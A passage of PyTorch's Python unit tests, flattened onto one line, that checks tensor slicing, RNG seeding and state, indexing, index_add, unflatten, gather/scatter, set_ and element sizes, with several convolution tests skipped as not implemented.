torch.get_default_dtype()) self.assertEqual(x.type(torch.int32).dtype, torch.int32) def test_qengine(self): qengines = torch.backends.quantized.supported_engines original_qe = torch.backends.quantized.engine for qe in qengines: torch.backends.quantized.engine = qe assert torch.backends.quantized.engine == qe, 'qengine not set successfully' torch.backends.quantized.engine = original_qe def _spawn_method(self, method, arg): try: mp.set_start_method('spawn') except RuntimeError: pass with mp.Pool(1) as pool: out: list = pool.map(method, [arg]) self.assertTrue(out[0]) @staticmethod def _test_multinomial_invalid_probs(probs): try: # n_sample = 1 is a special case, test n_sample=2 which is more general torch.multinomial(probs.to('cpu'), 2) return False # Should not be reached except RuntimeError as e: return 'probability tensor contains either `inf`, `nan` or element < 0' in str(e) @slowTest @unittest.skipIf(NO_MULTIPROCESSING_SPAWN, "Disabled for environments that \ don't support multiprocessing with spawn start method") @unittest.skipIf(IS_WINDOWS, 'FIXME: CUDA OOM error on Windows') def test_multinomial_invalid_probs(self): test_method = AbstractTestCases._TestTorchMixin._test_multinomial_invalid_probs self._spawn_method(test_method, torch.tensor([1., -1., 1.])) self._spawn_method(test_method, torch.tensor([1., inf, 1.])) self._spawn_method(test_method, torch.tensor([1., -inf, 1.])) self._spawn_method(test_method, torch.tensor([1., 1., nan])) def test_copy_broadcast(self): torch.zeros(5, 6).copy_(torch.zeros(6)) self.assertRaises(RuntimeError, lambda: torch.zeros(5, 6).copy_(torch.zeros(30))) def test_copy_many_to_one(self): # Testing in-place copy where it attempt to write from many memory # storage to a single storage would cause RuntimeError to be thrown self.assertRaises(RuntimeError, lambda: torch.zeros(1, 6).expand(5, 6).copy_(torch.zeros(5, 6))) def test_slice(self): empty = torch.empty(0, 4) x = torch.arange(0., 16).view(4, 4) self.assertEqual(x[:], x) self.assertEqual(x[:4], x) # start and stop are clamped to the size of dim self.assertEqual(x[:5], x) # if start >= stop then the result is empty self.assertEqual(x[2:1], empty) self.assertEqual(x[2:2], empty) # out of bounds is also empty self.assertEqual(x[10:12], empty) # additional correctness checks self.assertEqual(x[:1].tolist(), [[0, 1, 2, 3]]) self.assertEqual(x[:-3].tolist(), [[0, 1, 2, 3]]) self.assertEqual(x[:, -2:3].tolist(), [[2], [6], [10], [14]]) self.assertEqual(x[0:-1:2].tolist(), [[0, 1, 2, 3], [8, 9, 10, 11]]) @unittest.skip("Not implemented yet") def test_conv2(self): x = torch.rand(math.floor(torch.uniform(50, 100)), math.floor(torch.uniform(50, 100))) k = torch.rand(math.floor(torch.uniform(10, 20)), math.floor(torch.uniform(10, 20))) imvc = torch.conv2(x, k) imvc2 = torch.conv2(x, k, 'V') imfc = torch.conv2(x, k, 'F') ki = k.clone() ks = k.storage() kis = ki.storage() for i in range(ks.size() - 1, 0, -1): kis[ks.size() - i + 1] = ks[i] # for i=ks.size(), 1, -1 do kis[ks.size()-i+1]=ks[i] end imvx = torch.xcorr2(x, ki) imvx2 = torch.xcorr2(x, ki, 'V') imfx = torch.xcorr2(x, ki, 'F') self.assertEqual(imvc, imvc2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imvc, imvx, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imvc, imvx2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(imfc, imfx, atol=0, rtol=0, msg='torch.conv2') self.assertLessEqual(math.abs(x.dot(x) - torch.xcorr2(x, x)[0][0]), 1e-10, 'torch.conv2') xx = torch.empty(2, x.size(1), x.size(2)) xx[1].copy_(x) xx[2].copy_(x) kk = torch.empty(2, k.size(1), k.size(2)) kk[1].copy_(k) kk[2].copy_(k) immvc = torch.conv2(xx, kk) immvc2 = torch.conv2(xx, kk, 'V') immfc = torch.conv2(xx, kk, 'F') self.assertEqual(immvc[0], immvc[1], atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immvc[0], imvc, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immvc2[0], imvc2, atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immfc[0], immfc[1], atol=0, rtol=0, msg='torch.conv2') self.assertEqual(immfc[0], imfc, atol=0, rtol=0, msg='torch.conv2') @unittest.skip("Not implemented yet") def test_conv3(self): x = torch.rand(math.floor(torch.uniform(20, 40)), math.floor(torch.uniform(20, 40)), math.floor(torch.uniform(20, 40))) k = torch.rand(math.floor(torch.uniform(5, 10)), math.floor(torch.uniform(5, 10)), math.floor(torch.uniform(5, 10))) imvc = torch.conv3(x, k) imvc2 = torch.conv3(x, k, 'V') imfc = torch.conv3(x, k, 'F') ki = k.clone() ks = k.storage() kis = ki.storage() for i in range(ks.size() - 1, 0, -1): kis[ks.size() - i + 1] = ks[i] imvx = torch.xcorr3(x, ki) imvx2 = torch.xcorr3(x, ki, 'V') imfx = torch.xcorr3(x, ki, 'F') self.assertEqual(imvc, imvc2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imvc, imvx, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imvc, imvx2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(imfc, imfx, atol=0, rtol=0, msg='torch.conv3') self.assertLessEqual(math.abs(x.dot(x) - torch.xcorr3(x, x)[0][0][0]), 4e-10, 'torch.conv3') xx = torch.empty(2, x.size(1), x.size(2), x.size(3)) xx[1].copy_(x) xx[2].copy_(x) kk = torch.empty(2, k.size(1), k.size(2), k.size(3)) kk[1].copy_(k) kk[2].copy_(k) immvc = torch.conv3(xx, kk) immvc2 = torch.conv3(xx, kk, 'V') immfc = torch.conv3(xx, kk, 'F') self.assertEqual(immvc[0], immvc[1], atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immvc[0], imvc, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immvc2[0], imvc2, atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immfc[0], immfc[1], atol=0, rtol=0, msg='torch.conv3') self.assertEqual(immfc[0], imfc, atol=0, rtol=0, msg='torch.conv3') @unittest.skip("Not implemented yet") def _test_conv_corr_eq(self, fn, fn_2_to_3): ix = math.floor(random.randint(20, 40)) iy = math.floor(random.randint(20, 40)) iz = math.floor(random.randint(20, 40)) kx = math.floor(random.randint(5, 10)) ky = math.floor(random.randint(5, 10)) kz = math.floor(random.randint(5, 10)) x = torch.rand(ix, iy, iz) k = torch.rand(kx, ky, kz) o3 = fn(x, k) o32 = torch.zeros(o3.size()) fn_2_to_3(x, k, o3, o32) self.assertEqual(o3, o32) @unittest.skip("Not implemented yet") def test_xcorr3_xcorr2_eq(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i].add(torch.xcorr2(x[i + j - 1], k[j])) self._test_conv_corr_eq(torch.xcorr3, reference) @unittest.skip("Not implemented yet") def test_xcorr3_xcorr2_eq_full(self): def reference(x, k, o3, o32): for i in range(x.size(1)): for j in range(k.size(1)): o32[i].add(torch.xcorr2(x[i], k[k.size(1) - j + 1], 'F')) self._test_conv_corr_eq(lambda x, k: torch.xcorr3(x, k, 'F'), reference) @unittest.skip("Not implemented yet") def test_conv3_conv2_eq_valid(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i].add(torch.conv2(x[i + j - 1], k[k.size(1) - j + 1])) self._test_conv_corr_eq(torch.conv3, reference) @unittest.skip("Not implemented yet") def test_fconv3_fconv2_eq(self): def reference(x, k, o3, o32): for i in range(o3.size(1)): for j in range(k.size(1)): o32[i + j - 1].add(torch.conv2(x[i], k[j], 'F')) self._test_conv_corr_eq(lambda x, k: torch.conv3(x, k, 'F'), reference) def test_dtype_is_signed(self): for dtype in get_all_dtypes(): self.assertEqual(dtype.is_signed, torch.is_signed(torch.tensor(0, dtype=dtype))) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.quint8.is_signed) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.qint8.is_signed) self.assertRaisesRegex(RuntimeError, 'not supported for quantized', lambda: torch.qint32.is_signed) def test_RNGState(self): state = torch.get_rng_state() stateCloned = state.clone() before = torch.rand(1000) self.assertEqual(state.ne(stateCloned).long().sum(), 0, atol=0, rtol=0) torch.set_rng_state(state) after = torch.rand(1000) self.assertEqual(before, after, atol=0, rtol=0) def test_RNGStateAliasing(self): # Fork the random number stream at this point gen = torch.Generator() gen.set_state(torch.get_rng_state()) self.assertEqual(gen.get_state(), torch.get_rng_state()) target_value = torch.rand(1000) # Dramatically alter the internal state of the main generator _ = torch.rand(100000) forked_value = torch.rand(1000, generator=gen) self.assertEqual(target_value, forked_value, atol=0, rtol=0, msg="RNG has not forked correctly.") def test_RNG_after_pickle(self): torch.random.manual_seed(100) before = torch.rand(10) torch.random.manual_seed(100) buf = io.BytesIO() tensor = torch.tensor([1, 2, 3]) ForkingPickler(buf, pickle.HIGHEST_PROTOCOL).dump(tensor) after = torch.rand(10) self.assertEqual(before, after, atol=0, rtol=0) def test_boxMullerState(self): torch.manual_seed(123) odd_number = 101 seeded = torch.randn(odd_number) state = torch.get_rng_state() midstream = torch.randn(odd_number) torch.set_rng_state(state) repeat_midstream = torch.randn(odd_number) torch.manual_seed(123) reseeded = torch.randn(odd_number) self.assertEqual(midstream, repeat_midstream, atol=0, rtol=0, msg='get_rng_state/set_rng_state not generating same sequence of normally distributed numbers') self.assertEqual(seeded, reseeded, atol=0, rtol=0, msg='repeated calls to manual_seed not generating same sequence of normally distributed numbers') def test_manual_seed(self): rng_state = torch.get_rng_state() torch.manual_seed(2) x = torch.randn(100) self.assertEqual(torch.initial_seed(), 2) torch.manual_seed(2) y = torch.randn(100) self.assertEqual(x, y) max_int64 = 0x7fff_ffff_ffff_ffff min_int64 = -max_int64 - 1 max_uint64 = 0xffff_ffff_ffff_ffff # Check all boundary cases of valid seed value inputs test_cases = [ # (seed, expected_initial_seed) # Positive seeds should be unchanged (max_int64, max_int64), (max_int64 + 1, max_int64 + 1), (max_uint64, max_uint64), (0, 0), # Negative seeds wrap around starting from the largest seed value (-1, max_uint64), (min_int64, max_int64 + 1) ] for seed, expected_initial_seed in test_cases: torch.manual_seed(seed) actual_initial_seed = torch.initial_seed() msg = "expected initial_seed() = %x after calling manual_seed(%x), but got %x instead" % ( expected_initial_seed, seed, actual_initial_seed) self.assertEqual(expected_initial_seed, actual_initial_seed, msg=msg) for invalid_seed in [min_int64 - 1, max_uint64 + 1]: with self.assertRaisesRegex(RuntimeError, r'Overflow when unpacking long'): torch.manual_seed(invalid_seed) torch.set_rng_state(rng_state) def test_numel(self): b = torch.ByteTensor(3, 100, 100) self.assertEqual(b.nelement(), 3 * 100 * 100) self.assertEqual(b.numel(), 3 * 100 * 100) def test_empty_storage_view(self): # we should be able to "modify" slices of a 0-element # array without an error being raised due to # trying to resize its storage t = torch.from_numpy(np.empty((0, 4))) t[:, 1::2] *= 1 def test_newaxis_numpy_comparison(self): def run_test(tensor, *idx): npt = tensor.numpy() self.assertEqual(tensor[idx], npt[idx]) # 1D Tensor Tests x = torch.arange(0, 10) cases = [ [None], [None, None], [Ellipsis, None], [None, Ellipsis], [2, None], [None, 2], [Ellipsis, None, 2], [Ellipsis, 2, None], [2, Ellipsis, None], [2, None, Ellipsis], [None, 2, Ellipsis], [None, Ellipsis, 2], ] for case in cases: run_test(x, *case) # 2D Tensor Tests x = torch.arange(0, 12).view(3, 4) cases = [ [None], [None, None], [None, None, None], [Ellipsis, None], [Ellipsis, None, None], [None, Ellipsis], [None, Ellipsis, None], [None, None, Ellipsis], [2, None], [2, None, Ellipsis], [2, Ellipsis, None], [None, 2, Ellipsis], [Ellipsis, 2, None], [Ellipsis, None, 2], [None, Ellipsis, 2], [1, 2, None], [1, 2, Ellipsis, None], [1, Ellipsis, 2, None], [Ellipsis, 1, None, 2], [Ellipsis, 1, 2, None], [1, None, 2, Ellipsis], [None, 1, Ellipsis, 2], [None, 1, 2, Ellipsis], ] for case in cases: run_test(x, *case) def _consecutive(self, size, start=1): sequence = torch.ones(torch.tensor(size).prod(0)).cumsum(0) sequence.add_(start - 1) return sequence.resize_(*size) def test_newindex(self): reference = self._consecutive((3, 3, 3)) # This relies on __index__() being correct - but we have separate tests for that def checkPartialAssign(index): reference = torch.zeros(3, 3, 3) reference[index] = self._consecutive((3, 3, 3))[index] self.assertEqual(reference[index], self._consecutive((3, 3, 3))[index], atol=0, rtol=0) reference[index] = 0 self.assertEqual(reference, torch.zeros(3, 3, 3), atol=0, rtol=0) checkPartialAssign(0) checkPartialAssign(1) checkPartialAssign(2) checkPartialAssign((0, 1)) checkPartialAssign((1, 2)) checkPartialAssign((0, 2)) checkPartialAssign(torch.LongTensor((0, 2))) with self.assertRaises(IndexError): reference[1, 1, 1, 1] = 1 with self.assertRaises(IndexError): reference[1, 1, 1, (1, 1)] = 1 with self.assertRaises(IndexError): reference[3, 3, 3, 3, 3, 3, 3, 3] = 1 with self.assertRaises(IndexError): reference[0.0] = 1 with self.assertRaises(TypeError): reference[0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, :, 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, ..., 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, :, 0.0] = 1 def test_index_add(self): for device in torch.testing.get_all_device_types(): for dest_contig, src_contig, index_contig in product([True, False], repeat=3): for other_sizes in ((), (4, 5)): for dtype in [torch.int, torch.long]: num_copy, num_dest = 3, 3 dest = torch.randn(num_dest, *other_sizes, device=device) if not dest_contig: dest = torch.testing.make_non_contiguous(dest) src = torch.randn(num_copy, *other_sizes, device=device) if not src_contig: src = torch.testing.make_non_contiguous(src) idx = torch.randperm(num_dest, dtype=dtype, device=device).narrow(0, 0, num_copy) if not index_contig: idx = torch.testing.make_non_contiguous(idx) # index_add_ without alpha argument dest2 = dest.clone() dest.index_add_(0, idx, src) for i in range(idx.size(0)): dest2[idx[i]] += src[i] self.assertEqual(dest, dest2) # index_add_ with alpha argument dest2 = dest.clone() dest.index_add_(0, idx, src, alpha=2) for i in range(idx.size(0)): dest2[idx[i]] += src[i] * 2 self.assertEqual(dest, dest2) # add coverage for issue with atomic add that appeared only for # specific dtypes on cuda: # https://github.com/pytorch/pytorch/issues/29153 def test_index_add_all_dtypes(self): for device in torch.testing.get_all_device_types(): for dtype in get_all_math_dtypes(device): for idx_dtype in [torch.int, torch.long]: size = [5, 5] if dtype.is_floating_point or dtype.is_complex: tensor = torch.rand(size, dtype=dtype, device=device) elif dtype.is_signed: tensor = torch.randint(-5, 15, size, dtype=dtype, device=device) else: tensor = torch.randint(0, 10, size, dtype=dtype, device=device) # index_add calls atomicAdd on cuda. zeros = torch.zeros(size, dtype=dtype, device=device) added = zeros.index_add(0, torch.arange(0, size[0], dtype=idx_dtype, device=device), tensor) self.assertEqual(added, tensor) added = zeros.index_add(0, torch.arange(0, size[0], dtype=idx_dtype, device=device), tensor, alpha=-1) self.assertEqual(added, -tensor) # Fill idx with valid indices. @staticmethod def _fill_indices(self, idx, dim, dim_size, elems_per_row, m, n, o): for i in range(1 if dim == 0 else m): for j in range(1 if dim == 1 else n): for k in range(1 if dim == 2 else o): ii = [i, j, k] ii[dim] = slice(0, idx.size(dim) + 1) idx[tuple(ii)] = torch.randperm(dim_size)[0:elems_per_row] def test_unflatten(self): # test args: tensor, int, sizes self.assertEqual(torch.tensor([]).unflatten(0, (0, 1)), torch.empty(0, 1)) self.assertEqual(torch.tensor([1]).unflatten(0, (1, 1)), torch.tensor([[1]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, (2, 2)), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, [2, 2]), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, torch.Size([2, 2])), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.ones(2, 10).unflatten(1, (5, 2)), torch.ones(2, 5, 2)) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, (-1, 2)), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.ones(2, 10).unflatten(1, (5, -1)), torch.ones(2, 5, 2)) self.assertEqual(torch.ones(2, 10).unflatten(1, (-1,)), torch.ones(2, 10)) self.assertEqual(torch.ones(2, 3 * 4 * 5 * 6).unflatten(1, (3, 4, -1, 6)), torch.ones(2, 3, 4, 5, 6)) self.assertEqual(torch.ones(2, 0, 2).unflatten(1, (3, -1, 4, 5)), torch.ones(2, 3, 0, 4, 5, 2)) # test invalid args: tensor, str, sizes with self.assertRaisesRegex(TypeError, r"received an invalid combination of arguments"): torch.tensor([1]).unflatten('A', (1, 1)) # test invalid args: tensor, str, namedshape with self.assertRaisesRegex(RuntimeError, r"Name 'A' not found in Tensor\[None\]."): torch.ones(4).unflatten('A', (('A', 2), ('B', 2))) # test other invalid arguments with self.assertRaisesRegex(RuntimeError, r"sizes must be non-empty"): torch.tensor([1]).unflatten(0, []) with self.assertRaisesRegex(RuntimeError, r"Provided sizes \[2, 2\] don't multiply up to the size of dim 0 \(1\)"): torch.tensor([1]).unflatten(0, [2, 2]) with self.assertRaisesRegex(IndexError, r"dimension specified as 0 but tensor has no dimensions"): torch.tensor(1).unflatten(0, [0]) with self.assertRaisesRegex(RuntimeError, r"only one dimension can be inferred"): torch.randn(5, 10).unflatten(1, (-1, -1)) with self.assertRaisesRegex(RuntimeError, r"Provided sizes \[-1, 4\] don't multiply up to the size of dim 1 \(10\)"): torch.randn(5, 10).unflatten(1, (-1, 4)) with self.assertRaisesRegex(RuntimeError, r"the unspecified dimension size -1 can be any value and is ambiguous"): torch.randn(2, 0).unflatten(1, (2, -1, 0)) @staticmethod def _test_gather(self, cast, test_bounds=True): m, n, o = random.randint(10, 20), random.randint(10, 20), random.randint(10, 20) elems_per_row = random.randint(1, 10) dim = random.randrange(3) for dtype in {torch.float32, torch.complex64, torch.complex128}: src = torch.randn(m, n, o, dtype=dtype) idx_size = [m, n, o] idx_size[dim] = elems_per_row idx = torch.LongTensor().resize_(*idx_size) AbstractTestCases._TestTorchMixin._fill_indices(self, idx, dim, src.size(dim), elems_per_row, m, n, o) src = cast(src) idx = cast(idx) actual = torch.gather(src, dim, idx) expected = cast(torch.zeros(idx_size, dtype=dtype)) for i in range(idx_size[0]): for j in range(idx_size[1]): for k in range(idx_size[2]): ii = [i, j, k] ii[dim] = idx[i, j, k] expected[i, j, k] = src[tuple(ii)] self.assertEqual(actual, expected, atol=0, rtol=0) bad_src = torch.randn(*[i - 1 for i in idx_size]) self.assertRaises(RuntimeError, lambda: torch.gather(bad_src, dim, idx)) # should throw an error when index dtype is not long with self.assertRaisesRegex(RuntimeError, 'Expected dtype int64 for index'): torch.gather(src, dim, idx.to(torch.int)) # should throw an error when out.dtype != src.dtype. # Note that on Windows, the out tensor's dtype is returned as: struct c10::complex<double> in the error # message, hence the use of .* in regex here with self.assertRaisesRegex(RuntimeError, 'Expected out tensor to have dtype .*c10::complex<double>, but got int instead'): torch.gather(src.to(torch.complex128), dim, idx, out=expected.to(torch.int)) # checks for the same dimensionality with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as input tensor'): torch.gather(src, dim, idx.unsqueeze(-1)) with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as input tensor'): torch.gather(src.unsqueeze(-1), dim, idx) if test_bounds: idx[0][0][0] = 23 self.assertRaises(RuntimeError, lambda: torch.gather(src, dim, idx)) src = cast(torch.randn(3, 4, 5)) expected, idx = src.max(2, True) expected = cast(expected) idx = cast(idx) actual = torch.gather(src, 2, idx) self.assertEqual(actual, expected, atol=0, rtol=0) # Bool test case t = torch.tensor([[False, True], [True, True]]) self.assertEqual(torch.gather(t, 1, torch.tensor([[0, 0], [1, 0]])), torch.tensor([[False, False], [True, True]])) def test_gather(self): self._test_gather(self, lambda t: t) @staticmethod def _test_scatter_add_mult_index_base(self, cast): m, n = 30, 40 idx = torch.zeros(m, n).long() src = torch.ones(m, n) res0 = torch.zeros(m, n).scatter_add_(0, idx, src) res1 = torch.zeros(m, n).scatter_add_(1, idx, src) self.assertEqual(res0[0, :], m * torch.ones(n), atol=0, rtol=0) self.assertEqual(res1[:, 0], n * torch.ones(m), atol=0, rtol=0) def test_scatter_add_mult_index(self): self._test_scatter_add_mult_index_base(self, lambda t: t) @staticmethod def _test_scatter_base(self, cast, method, is_scalar=False, test_bounds=True, reduction=None, *, test_complex=False): if test_complex: dtypes = [torch.complex64, torch.complex128] else: dtypes = [torch.float16, torch.float32, torch.float64] for dtype in dtypes: m, n, o = random.randint(10, 20), random.randint(10, 20), random.randint(10, 20) elems_per_row = random.randint(1, 10) dim = random.randrange(3) idx_size = [m, n, o] idx_size[dim] = elems_per_row idx = cast(torch.LongTensor().resize_(*idx_size)) AbstractTestCases._TestTorchMixin._fill_indices(self, idx, dim, ([m, n, o])[dim], elems_per_row, m, n, o) src_size = [random.randint(1, 5) + s for s in idx_size] if is_scalar: src = random.random() else: src = cast(torch.randn(src_size, dtype=dtype)) base = cast(torch.randn(m, n, o, dtype=dtype)) if reduction: actual = getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: actual = getattr(base.clone(), method)(dim, idx, src) expected = base.clone() for i in range(idx_size[0]): for j in range(idx_size[1]): for k in range(idx_size[2]): ii = [i, j, k] ii[dim] = idx[i, j, k] if method == 'scatter_add_': expected[tuple(ii)] += src[i, j, k] else: # method may be 'scatter_' or 'scatter' # both might have a reduction argument value = src if is_scalar else src[i, j, k] if reduction == "add": expected[tuple(ii)] += value elif reduction == "multiply": expected[tuple(ii)] *= value else: expected[tuple(ii)] = value self.assertEqual(actual, expected, atol=0, rtol=0) # should throw an error when self.dtype != src.dtype. # we ignore the case when src is Scalar, as it gets # cast via src.to<scalar_t>. if not is_scalar: with self.assertRaisesRegex(RuntimeError, 'Expected self.dtype to be equal to src.dtype'): getattr(base.clone().type(torch.int), method)(dim, idx, src) with self.assertRaisesRegex(RuntimeError, 'Expected self.dtype to be equal to src.dtype'): getattr(base.clone(), method)(dim, idx, src.type(torch.int)) # should throw an error when index dtype is not long with self.assertRaisesRegex(RuntimeError, 'Expected dtype int64 for index'): getattr(base.clone(), method)(dim, idx.type(torch.int), src) # check for the same dimensionality with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as self tensor'): getattr(base.clone().unsqueeze(-1), method)(dim, idx, src) with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as self tensor'): getattr(base.clone(), method)(dim, idx.unsqueeze(-1), src) if not is_scalar: with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as src tensor'): getattr(base.clone(), method)(dim, idx, src.unsqueeze(-1)) if test_bounds: idx[0][0][0] = 34 with self.assertRaises(RuntimeError): if reduction: getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: getattr(base.clone(), method)(dim, idx, src) # test for empty index, should be a no-op idx = cast(torch.LongTensor()) if reduction: actual = getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: actual = getattr(base.clone(), method)(dim, idx, src) self.assertEqual(actual, base, atol=0, rtol=0) def test_scatter(self): self._test_scatter_base(self, lambda t: t, 'scatter_') def test_scatterAdd(self): self._test_scatter_base(self, lambda t: t, 'scatter_add_') def test_scatterFill(self): self._test_scatter_base(self, lambda t: t, 'scatter_', True) def test_scatterReduce(self): for method in ["add", "multiply"]: self._test_scatter_base(self, lambda t: t, 'scatter_', reduction=method) self._test_scatter_base(self, lambda t: t, 'scatter_', True, reduction=method) def test_structseq_repr(self): a = torch.arange(250).reshape(5, 5, 10) expected = """ torch.return_types.max( values=tensor([[ 40, 41, 42, 43, 44, 45, 46, 47, 48, 49], [ 90, 91, 92, 93, 94, 95, 96, 97, 98, 99], [140, 141, 142, 143, 144, 145, 146, 147, 148, 149], [190, 191, 192, 193, 194, 195, 196, 197, 198, 199], [240, 241, 242, 243, 244, 245, 246, 247, 248, 249]]), indices=tensor([[4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4]]))""" self.assertEqual(repr(a.max(1)), textwrap.dedent(expected).strip()) def test_is_same_size(self): t1 = torch.empty(3, 4, 9, 10) t2 = torch.empty(3, 4) t3 = torch.empty(1, 9, 3, 3) t4 = torch.empty(3, 4, 9, 10) self.assertFalse(t1.is_same_size(t2)) self.assertFalse(t1.is_same_size(t3)) self.assertTrue(t1.is_same_size(t4)) def test_tensor_set(self): t1 = torch.tensor([]) t2 = torch.empty(3, 4, 9, 10).uniform_() t1.set_(t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) size = torch.Size([9, 3, 4, 10]) t1.set_(t2.storage(), 0, size) self.assertEqual(t1.size(), size) t1.set_(t2.storage(), 0, tuple(size)) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), (120, 40, 10, 1)) stride = (10, 360, 90, 1) t1.set_(t2.storage(), 0, size, stride) self.assertEqual(t1.stride(), stride) t1.set_(t2.storage(), 0, size=size, stride=stride) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), stride) # test argument names t1 = torch.tensor([]) # 1. case when source is tensor t1.set_(source=t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) # 2. case when source is storage t1.set_(source=t2.storage()) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) # 3. case when source is storage, and other args also specified t1.set_(source=t2.storage(), storage_offset=0, size=size, stride=stride) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), stride) t1 = torch.tensor([True, True], dtype=torch.bool) t2 = torch.tensor([False, False], dtype=torch.bool) t1.set_(t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) def test_tensor_set_errors(self): f_cpu = torch.randn((2, 3), dtype=torch.float32) d_cpu = torch.randn((2, 3), dtype=torch.float64) # change dtype self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu.storage())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu.storage(), 0, d_cpu.size(), d_cpu.stride())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu)) # change device if torch.cuda.is_available(): f_cuda = torch.randn((2, 3), dtype=torch.float32, device='cuda') # cpu -> cuda self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda.storage())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda.storage(), 0, f_cuda.size(), f_cuda.stride())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda)) # cuda -> cpu self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu.storage())) self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu.storage(), 0, f_cpu.size(), f_cpu.stride())) self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu)) def test_equal(self): # Contiguous, 1D t1 = torch.tensor((3., 4., 9., 10.)) t2 = t1.contiguous() t3 = torch.tensor((1., 9., 3., 10.)) t4 = torch.tensor((3., 4., 9.)) t5 = torch.tensor([]) self.assertTrue(t1.equal(t2)) self.assertFalse(t1.equal(t3)) self.assertFalse(t1.equal(t4)) self.assertFalse(t1.equal(t5)) self.assertTrue(torch.equal(t1, t2)) self.assertFalse(torch.equal(t1, t3)) self.assertFalse(torch.equal(t1, t4)) self.assertFalse(torch.equal(t1, t5)) # Non contiguous, 2D s = torch.tensor(((1, 2, 3, 4), (5, 6, 7, 8))) s1 = s[:, 1:3] s2 = s1.clone() s3 = torch.tensor(((2, 3), (6, 7))) s4 = torch.tensor(((0, 0), (0, 0))) self.assertFalse(s1.is_contiguous()) self.assertTrue(s1.equal(s2)) self.assertTrue(s1.equal(s3)) self.assertFalse(s1.equal(s4)) self.assertTrue(torch.equal(s1, s2)) self.assertTrue(torch.equal(s1, s3)) self.assertFalse(torch.equal(s1, s4)) def test_element_size(self): byte = torch.ByteStorage().element_size() char = torch.CharStorage().element_size() short = torch.ShortStorage().element_size() int = torch.IntStorage().element_size() long = torch.LongStorage().element_size() float = torch.FloatStorage().element_size() double = torch.DoubleStorage().element_size() bool = torch.BoolStorage().element_size() bfloat16 = torch.BFloat16Storage().element_size() complexfloat = torch.ComplexFloatStorage().element_size() complexdouble = torch.ComplexDoubleStorage().element_size() self.assertEqual(byte, torch.ByteTensor().element_size()) self.assertEqual(char, torch.CharTensor().element_size()) self.assertEqual(short, torch.ShortTensor().element_size()) self.assertEqual(int, torch.IntTensor().element_size()) self.assertEqual(long, torch.LongTensor().element_size()) self.assertEqual(float, torch.FloatTensor().element_size()) self.assertEqual(double, torch.DoubleTensor().element_size()) self.assertEqual(bool, torch.BoolTensor().element_size()) self.assertEqual(bfloat16, torch.tensor([], dtype=torch.bfloat16).element_size()) self.assertEqual(complexfloat, torch.tensor([], dtype=torch.complex64).element_size()) self.assertEqual(complexdouble, torch.tensor([], dtype=torch.complex128).element_size()) self.assertGreater(byte, 0) self.assertGreater(char, 0) self.assertGreater(short, 0) self.assertGreater(int, 0) self.assertGreater(long, 0) self.assertGreater(float, 0) self.assertGreater(double, 0) self.assertGreater(bool, 0) self.assertGreater(bfloat16, 0) self.assertGreater(complexfloat, 0) self.assertGreater(complexdouble, 0) # These tests are portable, not necessarily strict for your system. self.assertEqual(byte, 1) self.assertEqual(char, 1) self.assertEqual(bool, 1) self.assertGreaterEqual(short, 2) self.assertGreaterEqual(int, 2) self.assertGreaterEqual(int, short) self.assertGreaterEqual(long, 4) self.assertGreaterEqual(long, int) self.assertGreaterEqual(double, float) def test_permute(self): orig = [1, 2, 3, 4, 5, 6, 7] perm = torch.randperm(7).tolist() x = 